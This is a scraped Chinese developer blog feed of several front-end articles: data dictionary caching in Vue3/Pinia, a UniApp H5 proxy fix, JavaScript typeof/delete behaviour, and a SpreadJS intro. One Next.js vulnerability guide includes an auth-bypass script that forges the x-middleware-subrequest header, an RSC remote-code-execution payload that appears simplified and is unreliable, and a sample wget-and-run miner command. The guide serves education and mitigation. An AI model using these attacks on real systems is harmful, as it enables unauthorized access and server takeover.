普通视图

发现新文章,点击刷新页面。
今天 — 2025年12月10日掘金 前端

前端数据字典技术方案实战

作者 树深遇鹿
2025年12月10日 10:24

前言

在后台与中台系统开发领域,数据字典是极为常见且至关重要的概念,相信大多数从事相关开发工作的朋友都对其耳熟能详。几乎每一个成熟的项目,都会专门设置一个字典模块,用于精心维护各类字典数据。这些字典数据在系统中扮演着举足轻重的角色,为下拉框、转义值、单选按钮等组件提供了不可或缺的基础数据支撑。

我自工作以来参与过很多个项目,既有从零开始搭建的,也有接手他人项目的。在实践过程中,我发现不同项目对字典的实现方式各不相同,且各有侧重。例如,对于项目中的字典基本不会发生变化的,项目通常会采用首次全部加载到本地缓存的方式。这种方式能显著节省网络请求次数,提升系统响应速度。然而,对于项目中的字典经常变动的,项目则会采用按需加载的方式,即哪里需要使用字典值,就在哪里进行加载。但这种方式也存在弊端,当某个页面需要使用十多个字典值时,首次进入页面会一次性发出十多个请求来获取这些字典值,影响用户体验。

常见字典方案剖析

在当下,数据字典的实现方案丰富多样,各有优劣。下面将详细介绍几种常见的方案,并分析其特点。我将详细介绍几种常见的方案,并深入剖析其特点。这几种方案皆是我通过实践精心总结而来,其中方案四的思路是由我不爱吃鱼啦提供。

方案一:首次全部加载到本地进行缓存

方案描述

系统启动或用户首次访问时,将所有字典数据一次性加载到本地缓存中。后续使用过程中,直接从缓存中获取所需字典数据,无需再次向服务器发起请求。

优点

  • 访问速度快:后续访问时直接从本地缓存读取数据,无需等待网络请求,响应速度极快。
  • 减少网络请求:一次性加载后,后续使用无需频繁发起网络请求,降低了网络开销。
  • 网络依赖小:即使在网络不稳定的情况下,也能正常使用已缓存的字典数据,保证了系统的稳定性。

缺点

  • 首次加载时间长:若字典数据量较大,首次加载时可能需要较长时间,影响用户体验。
  • 占用存储空间:将所有字典数据存储在本地,会占用较多的本地存储空间,尤其是当字典数据量庞大时。
  • 缓存更新复杂:若字典数据频繁更新,需要设计复杂的缓存同步和更新机制,否则容易出现数据不一致的问题。

方案二:按需加载不缓存

方案描述

当用户触发特定操作,需要使用字典数据时,才从后端实时加载所需数据,且不进行本地缓存。每次使用字典数据时,都重新从服务器获取最新数据。

优点

  • 节省存储空间:不进行本地缓存,节省了本地存储空间,尤其适用于存储资源有限的设备。
  • 数据实时性高:每次获取的数据都是最新的,不存在缓存数据与后端不一致的问题,保证了数据的准确性。

缺点

  • 网络请求频繁:每次使用都需要发起网络请求,在网络状况不佳时,会导致加载时间变长,影响用户体验。
  • 增加服务器负担:频繁的网络请求会增加服务器的负担,尤其是在高并发场景下,可能影响服务器的性能。

方案三:首次按需加载并缓存

方案描述

用户首次访问某个字典数据时,从后端加载该数据并缓存到本地。后续再次访问该字典数据时,直接从缓存中读取,无需再次向服务器发起请求。

优点

  • 减少网络请求:结合了前两种方案的部分优点,既在一定程度上减少了网络请求次数,又不会一次性加载过多数据。
  • 节省存储空间:相较于首次全部加载到本地缓存的方式,不会一次性占用大量本地存储空间,节省了部分存储资源。

缺点

  • 缓存管理复杂:需要记录哪些数据已缓存,以便后续判断是否需要从缓存中读取或重新加载,增加了缓存管理的复杂度。
  • 缓存占用问题:对于不常使用的字典数据,缓存可能会占用不必要的存储空间,造成资源浪费。
  • 缓存更新难题:同样面临缓存更新的问题,需要设计合理的缓存更新策略,以保证数据的准确性和一致性。

方案四:按需加载 + 版本校验更新缓存

方案描述

用户按需发起字典数据请求,首次访问某个字典数据时,从后端加载并缓存到本地。在后端响应头中携带该字典数据的版本信息,后续每次请求该字典数据时,前端对比本地缓存的版本信息和响应头中的版本信息。若版本信息不一致,则清除本地缓存中对应的字典数据,并重新从后端加载最新数据;若版本信息一致,则直接使用本地缓存的数据。

优点

  • 数据实时性有保障:通过版本校验机制,能够及时获取到字典数据的更新,确保前端使用的数据与后端保持一致,避免了因缓存数据未及时更新而导致的业务问题。
  • 减少不必要的网络请求:在字典数据未更新时,直接使用本地缓存,无需发起网络请求,节省了网络带宽和服务器资源。
  • 平衡存储与性能:既不会像首次全部加载那样占用大量本地存储空间,又能在一定程度上减少网络请求,在存储和性能之间取得了较好的平衡。

缺点

  • 版本管理复杂:后端需要维护字典数据的版本信息,并且要确保版本号的准确性和唯一性,这增加了后端开发的复杂度和维护成本。
  • 额外开销:每次请求都需要进行版本信息对比操作,虽然开销较小,但在高并发场景下,可能会对系统性能产生一定影响。
  • 首次加载体验:首次加载字典数据时,依然需要从后端获取数据,若数据量较大或网络状况不佳,可能会影响用户体验。

方案选型建议

建议根据项目特性选择方案,没有最好的技术方案,只有最适合项目的技术方案:

  • 字典稳定且量小:方案一全量缓存
  • 字典频繁更新:方案四版本校验缓存
  • 存储敏感场景:方案三按需缓存
  • 实时性要求极高:方案二无缓存方案

ps:如果大家有更好的方案,也可以在评论区提出,让我们大家一起学习成长

代码实现(方案四)

下述代码的实现基于vue3+pinia,该代码实现了统一管理全局字典数据,支持按需加载、缓存复用、版本控制、动态更新、批量处理字典数据等功能。

pinia store的实现

import { defineStore } from 'pinia'
import { ref } from 'vue'
import { getDictDetails, type Details } from '@/api/system/dict'

export const useDictStore = defineStore('dict', () => {
    // 存储字典数据,键为字典名称,值为字典详情数组
    const dictData = ref<Record<string, Details[]>>({})
    // 存储字典版本信息,键为字典名称,值为版本号
    const dictVersions = ref<string>('')

    /**
     * 更新字典版本信息
     * @param version 新的字典版本号
     */
    const updateDictVersion = (version: string) => {
        dictVersions.value = version
    }

    /**
     * 获取字典版本
     * @returns 字典版本号
     */
    const getDictVersion = () => {
        return dictVersions.value || ''
    }

    /**
     * 加载字典数据
     * @param dictNames 字典名称数组
     * @returns 加载的字典数据对象
     */
    const getDicts = async (dictNames: string[]) => {
        try {
            if (!Array.isArray(dictNames)) {
                return {};
            }
            // 过滤并去重有效字典名称
            const uniqueNames = [...new Set(dictNames.filter(name => 
                typeof name === 'string' && name.trim()
            ))];
            
            if (uniqueNames.length === 0) {
                return {};
            }

            const result: Record<string, Details[]> = {};
            const unloadedDicts: string[] = [];

            // 分离已加载和未加载的字典
            dictNames.forEach(name => {
                if (dictData.value[name]) {
                    result[name] = dictData.value[name];
                } else {
                    unloadedDicts.push(name);
                }
            });

            // 如果有未加载的字典,从接口请求获取
            if (unloadedDicts.length > 0) {
                const { data } = await getDictDetails(unloadedDicts);

                // 合并新加载的数据到结果
                Object.assign(result, data);

                // 更新全局字典缓存
                Object.assign(dictData.value, data);
            }

            return result;
        } catch (error) {
            console.error('加载字典数据失败:', error);
            return {};
        }
    };

    /**
     * 根据字典名称获取字典数据
     * @param name 字典名称
     * @returns 字典详情数组
     */
    const getDict = (name: string) => {
        return dictData.value[name] || []
    }

    /**
     * 根据字典名称和值获取字典标签
     * @param name 字典名称
     * @param value 字典值
     * @returns 字典标签
     */
    const getDictLabel = (name: string, value: string) => {
        const dict = getDict(name)
        const item = dict.find(item => item.value === value)
        return item?.label || ''
    }

    /**
     * 根据字典名称和标签获取字典值
     * @param name 字典名称
     * @param label 字典标签
     * @returns 字典值
     */
    const getDictValue = (name: string, label: string) => {
        const dict = getDict(name)
        const item = dict.find(item => item.label === label)
        return item?.value || ''
    }

    /**
     * 清除指定字典数据
     * @param names 字典名称
     */
    const clearDicts = (names: string[]) => {
        names.forEach(name => {
            clearDict(name)
        })
    }


    /**
     * 清除指定字典数据
     * @param name 字典名称
     */
    const clearDict = (name: string) => {
        delete dictData.value[name]
    }

    /**
     * 清除所有字典数据
     */
    const clearAllDict = () => {
        dictData.value = {}
    }

    return {
        dictData,
        updateDictVersion,
        getDictVersion,
        getDict,
        getDicts,
        getDictLabel,
        getDictValue,
        clearDict,
        clearDicts,
        clearAllDict
    }
})

useDict 实现

为组件提供字典数据的统一访问入口,封装了字典数据的初始化加载、详情查询、标签/值转换等高频操作,简化组件层对字典数据的调用逻辑。

import { type Details } from '@/api/system/dict'
import { useDictStore } from '@/store/dict'

// 根据字典值的name获取字典详情
export const useDict = (params: string[] = []) => {

  const dict = ref<Record<string, Details[]>>()
  const dictStore = useDictStore()

  const getDicts = async () => {
    dict.value = await dictStore.getDicts(params)
  }

  // 初始化字典数据
  getDicts()

  // 根据字典名称获取字典数据
  const getDict = (name: string) => {
    return dictStore.getDict(name)
  }

  // 根据字典值获取字典label
  const getDictLabel = (name: string, value: string) => {
    return dictStore.getDictLabel(name, value)
  }

  return {
    dict,
    getDict,
    getDictLabel
  }
}

响应拦截

主要用于获取字典的版本信息,通过对比版本信息,从而确定是否清除本地的字典缓存数据,并更新本地缓存的版本信息

// 响应拦截器
service.interceptors.response.use(
  // AxiosResponse
  (response: AxiosResponse) => {
    const dictVersion = response.headers['x-dictionary-version']
    if (dictVersion) {
      const dictStore = useDictStore()
      // 对比版本是否有更新
      if (dictStore.getDictVersion() !== dictVersion) {
        dictStore.clearAllDict()
        dictStore.updateDictVersion(dictVersion || '')
      }
    }
    // ...项目中的业务逻辑
  }
)

项目中的具体使用

下述的怎么使用封装的字典管理的简单demo

<script setup lang="ts">
import { useDict } from '@/hooks/useDict'
// 获取dict
const { dict, getDictLabel } =  useDict(['status', 'sex'])
console.log(dict.status, dict.sex)
</script>

项目源码地址

nest后端

Unusual-Server (github)

Unusual-Server (gitee)

vue3前端

Unusual-Admin (github)

Unusual-Admin (gitee)

结语

本文介绍了四种主流的数据字典实现方案,从全量加载到按需加载,从无缓存到版本校验缓存,每种方案都展现了其独特的优势与缺点。通过对比分析,我们不难发现,没有一种方案能够适用于所有场景,而是需要根据项目的具体特性进行灵活选择。对于字典稳定且量小的项目,全量缓存方案能够带来极致的响应速度;对于字典频繁更新的场景,版本校验缓存方案则能在保障数据实时性的同时,实现存储空间与网络请求的平衡优化。未来,随着技术的不断进步与应用场景的不断拓展,数据字典的实现方案也将持续演进。

博客主要记录一些学习的文章,如有不足,望大家指出,谢谢。

Next.js 近期高危漏洞完整指南:原理 + 攻击示例(前端易懂版)

作者 鲫小鱼
2025年12月10日 10:20

Next.js 近期高危漏洞完整指南:原理 + 攻击示例(前端易懂版)

一、漏洞核心信息速览(前端必知)

1. 事件背景(时间 + 起因)

  • CVE-2025-29927(身份验证绕过):2025 年 3 月公开,实际隐藏 4 年!影响 Next.js 11.1.4 ~ 15.2.2 版本,起因是中间件对 x-middleware-subrequest 请求头校验太宽松,外部可伪造。

  • CVE-2025-66478(远程代码执行 RCE):2025 年 12 月 4 日披露,CVSS 10.0(最高危),影响 Next.js 15/16 及部分 14.x 测试版,源于 React Server Components(RSC)协议的反序列化漏洞,服务器会执行恶意请求里的命令。

2. 漏洞原理(通俗解释)

  • 绕过漏洞:Next.js 中间件把 x-middleware-subrequest 当作 “内部请求标识”,但没验证是否真的是内部发的,攻击者拼几个合法值就能骗中间件放行。

  • RCE 漏洞:App Router 用 RSC 协议传输组件数据,服务器接收数据时没校验,直接执行里面的命令,相当于给攻击者开了 “服务器操作权限”。

3. 核心危害(前端能感知的影响)

  • 绕过漏洞:别人不用登录就能进后台(如 /admin),偷敏感数据、篡改内容。

  • RCE 漏洞:最致命!攻击者能操控服务器,偷数据库密码、植入挖矿程序(让服务器变 “肉鸡”)、删除业务数据,甚至瘫痪服务。

4. 快速预防方案(前端直接能用)

  1. 优先升级:按版本对应升级(15.x→≥15.3.6;14.x→≥14.2.25;13.x→≥13.5.9)。

  2. 临时防护:用 Nginx/Cloudflare 拦截 x-middleware-subrequest 请求头(禁止外部提交)。

  3. 代码层面:关键路由(如登录、支付)不要只靠中间件校验,加二次验证(如接口层查 token 有效性)。

5. 涉及核心知识点(前端关联技能)

  • Next.js 中间件:运行在请求最前面的校验逻辑,不是前端代码,是服务端轻量函数。

  • RSC(React Server Components):App Router 核心,服务端渲染组件的协议,数据传输要校验。

  • 请求伪造:客户端可篡改请求头 / 请求体,服务端不能 “无条件信任”。

  • 依赖安全:框架底层漏洞只能靠升级修复,定期用 npm audit 查漏洞。


二、攻击代码示例(仅用于学习,严禁非法使用)

⚠️ 注意事项:

  1. 以下代码仅用于 漏洞原理学习,严禁用于攻击真实网站,否则需承担法律责任!

  2. 测试仅允许在自己搭建的漏洞环境(如本地部署受影响版本的 Next.js 项目)中进行。

  3. 演示脚本聚焦 “攻击核心逻辑”,省略了真实攻击中的扫描、持久化等步骤,突出 “如何触发漏洞”。

(一)CVE-2025-29927(身份验证绕过漏洞)攻击示例

漏洞核心

伪造 x-middleware-subrequest 请求头,绕过中间件的登录校验,直接访问受保护路由(如 /admin)。

攻击脚本:bypass-auth.js
// 需先执行:npm install axios

const axios = require('axios');

// 目标地址(自己搭建的测试项目)

const targetUrl = 'http://localhost:3000/admin';

// 核心:伪造请求头,触发中间件绕过

const attackConfig = {

   headers: {

     // 关键:拼接 5 次合法标识,触发新版本漏洞绕过

     'x-middleware-subrequest': 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware',

     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' // 伪装浏览器

   }

};

// 发送攻击请求

axios.get(targetUrl, attackConfig)

   .then(response => {

     console.log('攻击结果:');

     console.log('状态码:', response.status);

     console.log('响应内容(前500字符):', response.data.slice(0, 500));

     if (response.status === 200) {

       console.log('✅ 身份验证绕过成功!已访问受保护的 /admin 路由');

     }

   })

   .catch(error => {

     console.log('攻击失败:', error.message);

   });
测试环境搭建(本地复现用)
  1. 新建受影响版本的 Next.js 项目(如 15.2.2):
npx create-next-app@15.2.2 test-vuln-project

cd test-vuln-project
  1. 创建中间件 src/middleware.js(模拟登录校验):
import { NextResponse } from 'next/server';

export function middleware(req) {

   // 简单校验:没有登录 cookie 就拦截跳转到登录页

   if (!req.cookies.token) {

     return NextResponse.redirect(new URL('/login', req.url));

   }

   return NextResponse.next();

}

// 仅对 /admin 路由生效

export const config = { matcher: '/admin' };
  1. 创建 /admin 页面 app/admin/page.js
export default function AdminPage() {

   return 后台(仅登录可见)\</h1>;

}
运行步骤
  1. 启动测试项目:npm run dev

  2. 运行攻击脚本:node bypass-auth.js

  3. 预期结果:无需登录 cookie,控制台输出 200 状态码和 admin 页面内容,绕过成功。


(二)CVE-2025-66478(RSC 远程代码执行漏洞)攻击示例

漏洞核心

构造符合 RSC 协议格式的 POST 请求体,注入系统命令(如 whoami),服务器会直接执行该命令。

攻击脚本:rce-attack.js
// 需先执行:npm install axios

const axios = require('axios');

// 目标地址(启用 App Router 的受影响版本项目)

const targetUrl = 'http://localhost:3000';

// 核心:构造 RSC 协议的恶意请求体,注入系统命令

const maliciousBody = {

   // RSC 协议固定格式字段(简化版,模拟合法请求)

   id: '123',

   chunks: \[

     // 注入恶意命令:Windows 用 "whoami",Linux/Mac 用 "id"

     '{"type":"invoke","args":\[";whoami;"]}'

   ],

   version: '0.1',

   mode: 'server-component'

};

// 发送攻击请求(RSC 漏洞通过 POST / 触发)

axios.post(targetUrl, maliciousBody, {

   headers: {

     'Content-Type': 'application/json',

     'Accept': 'text/x-component' // RSC 协议要求的 Accept 头

   }

})

   .then(response => {

     console.log('攻击结果:');

     console.log('状态码:', response.status);

     console.log('响应内容:', response.data);

     // 校验命令执行结果(包含路径分隔符即为成功)

     if (response.data.includes('/') || response.data.includes('\\\\')) {

       console.log('✅ 远程代码执行成功!已获取服务器用户信息');

     }

   })

   .catch(error => {

     console.log('攻击失败:', error.response?.data || error.message);

   });
测试环境搭建(本地复现用)
  1. 新建受影响版本的 Next.js 项目(如 15.3.3):
npx create-next-app@15.3.3 test-rce-project

cd test-rce-project
  1. 启用 App Router(默认已启用,确保 app/page.js 存在):
// app/page.js

export default function Home() {

   return >Next.js App Router 测试页;

}
运行步骤
  1. 启动测试项目:npm run dev

  2. 运行攻击脚本:node rce-attack.js

  3. 预期结果:

  • Windows 系统:响应中返回 DESKTOP-XXX\用户名

  • Linux/Mac 系统:响应中返回 www-data 或当前用户身份

  • 控制台输出 “远程代码执行成功”

📌 注:真实攻击中,攻击者会将

whoami

替换为恶意命令,例如:

'{"type":"invoke","args":\[";wget http://恶意地址/挖矿脚本.sh && chmod +x 挖矿脚本.sh && ./挖矿脚本.sh;"]}'

本示例仅用 whoami 演示原理,切勿用于非法用途。


三、前端关键提醒

  1. 漏洞本质:都是 “信任了客户端输入”—— 中间件信了伪造的请求头,服务器信了伪造的 RSC 数据,核心是 “服务端未做严格校验”。

  2. 修复原则:框架底层漏洞,前端代码无法直接防御!必须升级 Next.js 到安全版本(这是最根本、最靠谱的方案)。

  3. 额外防护

  • 关键路由(登录、支付、后台)必须加 “双重校验”(中间件 + 接口层 token 验证),不要单靠中间件。

  • 自托管项目需在 Nginx/Cloudflare 层拦截恶意请求头(如 x-middleware-subrequest)。

  1. 日常习惯
  • 定期执行 npm audit 扫描依赖漏洞,及时更新补丁版本。

  • 关键业务优先使用 Vercel 托管(官方自带漏洞防护,自动屏蔽部分攻击)。

  • 服务器启用主机安全工具,监控异常进程和文件下载。

最后感谢阅读!欢迎关注我,微信公众号:《鲫小鱼不正经》。欢迎点赞、收藏、关注,一键三连!!!

UniApp H5 代理失效的终极替代方案

作者 Harry技术
2025年12月10日 10:05

UniApp H5 代理失效的终极替代方案

放弃 manifest.json,用 vite.config.js 配置(推荐,100% 生效)

在 UniApp(Vue3)H5 端配置代理不生效是高频问题,核心原因是 UniApp 对 H5 端 devServer 代理的解析规则、配置格式与纯 Vue CLI/Vite 项目存在差异,且容易忽略多环境、路径匹配、编译模式等细节。以下是针对性的排查和修复方案:

一、先确认核心前提(90% 问题出在这里)

UniApp 的 H5 端代理仅在 H5 开发模式(npm run dev:h5 下生效,且需满足:

  1. 配置文件是 manifest.json(根目录),且修改后必须重启 H5 开发服务(停止 dev:h5 后重新启动);
  2. 前端请求必须是相对路径(不能写 http://localhost:8080/dev-api/xxx 这类绝对路径,需直接写 /dev-api/xxx);
  3. 仅 H5 端生效,小程序 / APP 端不支持 devServer 代理(需用真机调试或配置跨域白名单)。

二、修正 manifest.json 代理配置格式(关键)

UniApp 对 h5.devServer.proxy 的配置格式有严格要求,你的配置看似正确,但需确认以下细节:

正确的 manifest.json 配置示例(JSON 格式严格)
{
  "vueVersion": "3",
  "h5": {
    "devServer": {
      "proxy": {
        "/dev-api": {
          "target": "http://192.168.31.24:9999",
          "changeOrigin": true,
          "pathRewrite": {
            "^/dev-api": ""
          },
          // 新增:UniApp 部分版本需显式开启 secure(非 HTTPS 目标设为 false)
          "secure": false,
          // 可选:开启日志,排查代理是否命中
          "logLevel": "debug"
        }
      },
      "https": false,
      // 可选:指定 H5 开发服务端口,避免端口冲突
      "port": 8080
    }
  }
}

三、代理不生效的高频排查点(逐一验证)

1. 检查请求路径是否为相对路径(最常见)

错误示例(绝对路径,不走代理):

// ❌ 绝对路径会绕过代理,直接请求 localhost:8080
axios.get('http://localhost:8080/dev-api/user/info')

正确示例(相对路径,触发代理):

// ✅ 相对路径,会被代理转发到 192.168.31.24:9999/user/info
axios.get('/dev-api/user/info')

// 或配置 axios baseURL(推荐)
const request = axios.create({
  baseURL: '/dev-api', // 开发环境
  timeout: 5000
})
request.get('/user/info')
2. 确认 UniApp 编译模式(Vue3 需匹配 Vite 规则)

UniApp Vue3 版本默认使用 Vite 编译,而 Vite 的代理配置中,pathRewrite 需替换为 rewrite(部分 UniApp 版本未兼容旧字段)。

修改为 Vite 兼容的代理配置:

{
  "h5": {
    "devServer": {
      "proxy": {
        "/dev-api": {
          "target": "http://192.168.31.24:9999",
          "changeOrigin": true,
          // Vite 中用 rewrite 替代 pathRewrite(UniApp Vue3 需此写法)
          "rewrite": "(path) => path.replace(/^/dev-api/, '')"
        }
      }
    }
  }
}
3. 检查后端是否限制跨域(代理生效但后端拦截)

即使代理配置正确,若后端未配置跨域允许,仍会报错:

  • 后端需添加跨域响应头(以 SpringBoot 为例):

    @Configuration
    public class CorsConfig implements WebMvcConfigurer {
        @Override
        public void addCorsMappings(CorsRegistry registry) {
            registry.addMapping("/**")
                    .allowedOrigins("http://localhost:8080") // H5 开发地址
                    .allowedMethods("GET", "POST", "PUT", "DELETE")
                    .allowCredentials(true)
                    .maxAge(3600);
        }
    }
    
  • 若后端用 Nginx 代理,需添加:

    add_header Access-Control-Allow-Origin http://localhost:8080;
    add_header Access-Control-Allow-Credentials true;
    
4. 排查 UniApp 版本兼容问题

部分 UniApp 版本(如 3.0.0~3.2.0)存在 H5 代理解析 Bug,可:

  • 升级 UniApp 核心版本:

    npm update @dcloudio/uni-app @dcloudio/uni-cli-shared
    
  • 或降级到稳定版本(如 3.4.0+):

    npm install @dcloudio/uni-app@3.4.0
    
5. 验证代理是否命中(开启日志)

devServer 中添加 logLevel: "debug",重启 H5 服务后,查看终端日志:

  • 若日志中出现 [proxy] proxying request /dev-api/user/info to http://192.168.31.24:9999,说明代理已命中;
  • 若无此日志,说明路径匹配失败(检查请求路径是否以 /dev-api 开头)。

四、UniApp H5 代理失效的终极替代方案

若以上配置仍不生效,可绕过 manifest.json,直接修改 Vite 配置(UniApp Vue3 基于 Vite 编译):

  1. 在项目根目录创建 vite.config.js(UniApp 会自动识别);
  2. 写入 Vite 原生代理配置:
import { defineConfig } from 'vite';
import uni from '@dcloudio/vite-plugin-uni';

export default defineConfig({
  plugins: [uni()],
  server: {
    // 直接配置 Vite 代理(优先级高于 manifest.json)
    proxy: {
      '/dev-api': {
        target: 'http://192.168.31.24:9999',
        changeOrigin: true,
        rewrite: (path) => path.replace(/^/dev-api/, ''),
        logLevel: 'debug'
      }
    },
    // 确保端口与 manifest.json 一致
    port: 8080,
    https: false
  }
});
  1. 重启 npm run dev:h5,此方案优先级高于 manifest.json 中的 h5.devServer,几乎 100% 生效。

五、小程序 / APP 端的替代方案(重要)

UniApp 的 devServer 代理仅对 H5 端生效,小程序 / APP 端无法使用:

  • 小程序端:需在微信开发者工具中配置 “不校验合法域名”(仅调试),或在微信公众平台添加后端域名白名单;
  • APP 端:无需跨域(APP 无同源策略),直接请求后端真实地址 http://192.168.31.24:9999/xxx 即可。

总结

UniApp H5 端代理不生效的核心修复步骤:

  1. 确保请求为相对路径/dev-api/xxx);
  2. 重启 H5 开发服务(修改配置后必须重启);
  3. 优先使用 vite.config.js 配置 Vite 原生代理(替代 manifest.json);
  4. 验证后端跨域配置,避免代理生效但后端拦截。

按以上步骤配置后,请求 /dev-api/user/info 会被正确代理到 http://192.168.31.24:9999/user/info(移除 /dev-api 前缀)。

放弃 manifest.json,用 vite.config.js 配置(推荐,100% 生效)

UniApp Vue3 底层基于 Vite 编译,直接在 vite.config.js 中写 Vite 原生代理配置(支持 JS 函数),优先级高于 manifest.json,且不会有格式兼容问题:

1. 根目录创建 / 修改 vite.config.js
import { defineConfig } from 'vite';
import uni from '@dcloudio/vite-plugin-uni';

export default defineConfig({
  plugins: [uni()],
  server: {
    // H5 开发服务器代理配置(Vite 原生语法,支持函数)
    proxy: {
      '/dev-api': {
        target: 'http://192.168.31.24:9999',
        changeOrigin: true,
        // Vite 原生 rewrite 配置(函数形式,正确写法)
        rewrite: (path) => path.replace(/^/dev-api/, ''), 
        secure: false, // 非 HTTPS 目标需设为 false
        logLevel: 'debug' // 开启日志,便于排查
      }
    },
    port: 8080, // 与 manifest.json 保持一致(可选)
    https: false
  }
});
2. 清理 manifest.json 中的无效代理配置

manifest.jsonh5.devServer.proxy 部分删除(避免冲突),保留必要配置即可:

{
  "vueVersion": "3",
  "h5": {
    "devServer": {
      "https": false,
      "port": 8080 // 仅保留端口/HTTPS 配置,代理交给 vite.config.js
    }
  }
}
3. 重启 H5 开发服务

停止当前 npm run dev:h5,重新执行命令,代理即可生效。

方案二:强制适配 manifest.json(仅 JSON 格式,兼容旧版本)

如果必须在 manifest.json 中配置,需避开 JS 函数,改用 UniApp 兼容的 字符串替换规则(部分 UniApp 版本支持 pathRewrite 字符串格式):

{
  "vueVersion": "3",
  "h5": {
    "devServer": {
      "proxy": {
        "/dev-api": {
          "target": "http://192.168.31.24:9999",
          "changeOrigin": true,
          // 改用 pathRewrite(JSON 字符串格式,UniApp 可解析)
          "pathRewrite": {
            "^/dev-api": ""
          },
          "secure": false
        }
      },
      "https": false
    }
  }
}
关键说明:
  • manifest.json 是纯 JSON 文件,只能写键值对 / 字符串 / 数字 / 布尔值,不能写函数、正则表达式(/^/dev-api/ 这种正则在 JSON 中会被解析为字符串,部分版本 UniApp 能兼容);
  • 此方案仅适配 UniApp 对 pathRewrite 的兼容解析,若仍报错,优先用方案一(vite.config.js)。

报错原因补充

你之前写的 "rewrite": "(path) => path.replace(/^/dev-api/, '')" 存在两个问题:

  1. JSON 中无法解析箭头函数,最终 rewrite 是字符串类型,而非函数,导致 UniApp/Vite 执行 opts.rewrite(path) 时报错;
  2. 正则表达式写法错误:/^/dev-api/ 应为 /^/dev-api/(JSON 中需转义反斜杠,或在 JS 中直接写)。

验证是否生效

重启 npm run dev:h5 后,前端发送请求:

// 示例:用 axios 发送请求
axios.get('/dev-api/user/info')

查看终端日志(开启 logLevel: 'debug' 后),若出现:

[proxy] proxying request /dev-api/user/info to http://192.168.31.24:9999/user/info

说明代理已成功移除 /dev-api 前缀,配置生效。

最终建议

UniApp Vue3 项目优先使用 vite.config.js 配置代理:

  • 兼容 Vite 原生语法,支持函数 / 正则,无格式限制;
  • 避开 manifest.json 的 JSON 格式约束;
  • 配置逻辑与纯 Vite 项目一致,维护成本更低。

JavaScript 中为何未定义变量在 typeof 与 delete 中不会报错?——原理、示例与最佳实践

作者 excel
2025年12月10日 09:54

一、背景与概念

在 JavaScript 中,如果直接访问未声明的变量,如:

console.log(name);

会抛出:

ReferenceError: name is not defined

但是,使用:

typeof name;
delete name;

却不会报错,这给了我们一种“安全探测变量是否存在”的能力。
本文将深入解释原因、原理,并提供最佳实践示例。


二、语言设计原理:为什么 typeof 不会抛 ReferenceError?

1. JavaScript 初期的设计目标

JS 在 1995 年设计时,需要:

  • 允许“弱错误”并继续执行
  • 非专业程序员也能上手
  • 有利于容错(浏览器脚本不能轻易崩溃整个页面)

因此 typeof 被特意设计为 永远不会因为未声明变量而抛错


三、typeof 的底层行为机制

1. ECMAScript 规范:检查变量之前不触发 ReferenceError

伪流程:

if (变量声明存在)
    返回其类型字符串
else
    返回 "undefined"

这意味着:

typeof name; // "undefined",即使 name 未声明,也不会报错

示例(带逐行注释):

// 示例:检测一个可能不存在的变量
if (typeof userProfile !== "undefined") {
    console.log("变量存在,可使用:", userProfile);
} else {
    console.log("变量不存在");
}

逐行解释:

  • typeof userProfile 不会触发错误
  • 若变量未声明 → 返回字符串 "undefined"
  • 因此条件判断安全可靠

四、delete 为什么也不会报错?

delete 的主要作用是删除对象属性,而不是变量。

例:

delete window.a;
delete obj.key;

如果删除一个不存在的变量或属性,规范要求:

删除失败 → 返回 false(严格模式报错)
删除成功 → 返回 true

但非严格模式下:

delete name; // name 未声明 → 返回 true,不报错

这是为了浏览器脚本的容错设计。


五、如何利用 typeof 判断变量是否存在?(推荐用法)

通用写法

if (typeof someVar !== "undefined") {
    // 安全使用该变量
}

示例:根据全局变量切换运行模式

// 若 globalConfig 存在,优先使用
const config = (typeof globalConfig !== "undefined")
    ? globalConfig
    : { debug: false, mode: "default" };

console.log(config);

逐行解释:

  • 安全检查变量是否声明
  • 若存在则使用
  • 若不存在不报错并使用默认配置

六、不要使用 try...catch 判断变量是否存在(反例)

错误示例:

let exists;

try {
    name; // name 未声明
    exists = true;
} catch {
    exists = false;
}

虽然可行,但效率低、不优雅,也不符合 JS 设计初衷。
typeof 才是官方推荐的方式。


七、对比:声明但值为 undefined 与未声明变量的区别

1. 变量声明但未赋值

let a;
typeof a; // "undefined"

2. 根本未声明变量

typeof b; // "undefined" —— 不报错
b;        // ReferenceError —— 报错

表格区分:

情况 typeof 结果 直接访问
已声明但未赋值 "undefined" 值为 undefined
未声明变量 "undefined" ReferenceError

因此,只有 typeof 能区分安全访问与直接访问的区别


八、再扩展:检测全局变量的另一种安全方式

在浏览器全局作用域中:

if ("Vue" in window) {
    console.log("Vue 已加载");
}

但是此方法不能判断局部变量是否存在,因此
typeof 是最万能、适用所有作用域的方式


九、潜在问题与注意事项

❌ 不要用 typeof null 判断对象类型

typeof null; // "object" —— 历史遗留 bug

❌ typeof 不能判断变量是否已初始化(TDZ 问题)

在 ES6 的块级作用域中:

console.log(typeof x); // ❌ ReferenceError (在 TDZ 中)
let x = 10;

只有完全未声明才不会报错。

❌ delete 不适合作为变量存在性检查

delete 的语义是删除属性,不是检测变量,也不保证跨作用域一致性。


十、总结要点

  • typeof 永远不会因为未声明变量而报错
  • 它是 唯一安全判断变量是否存在的方式
  • delete 删除不存在的变量在非严格模式下不报错
  • 推荐检查变量存在性的方式:
if (typeof someVar !== "undefined") {
    // safe
}

完整示例:可直接运行

function checkVar(name) {
    // 安全探测变量是否存在
    if (typeof window[name] !== "undefined") {
        console.log(`变量 ${name} 存在,值为:`, window[name]);
    } else {
        console.log(`变量 ${name} 不存在`);
    }
}

// 测试
checkVar("abc");  // 未声明变量,不报错
window.abc = 123;
checkVar("abc");  // 变量已经存在

✨ 本文结语

本文部分内容借助 AI 辅助生成,并由作者整理审核。

基于SpreadJS的协同填报应用 | 葡萄城技术团队

2025年12月10日 09:54

基于SpreadJS的协同填报应用

协同电子表格带来的效率革命

在数字化转型的浪潮中,企业对高效协作和数据处理的需求日益增长。以 Microsoft 365、飞书多维表格等为代表的协同电子表格工具,凭借其实时编辑、多方共享的特性,极大地革新了传统基于本地Excel分享的工作模式。

协同电子表格的普及,显著提升了日常办公的效率,它成功解决了以下关键问题:

  • 文件版本混乱问题: 彻底告别“最终版-最终版-最终版-v2”的困境,保证所有参与者始终在同一个最新的文档上工作。
  • 数据孤岛与传输延迟: 实现了数据的集中管理和实时同步,从而无需通过邮件或即时通讯工具反复发送文件,有效加快了业务流转速度。
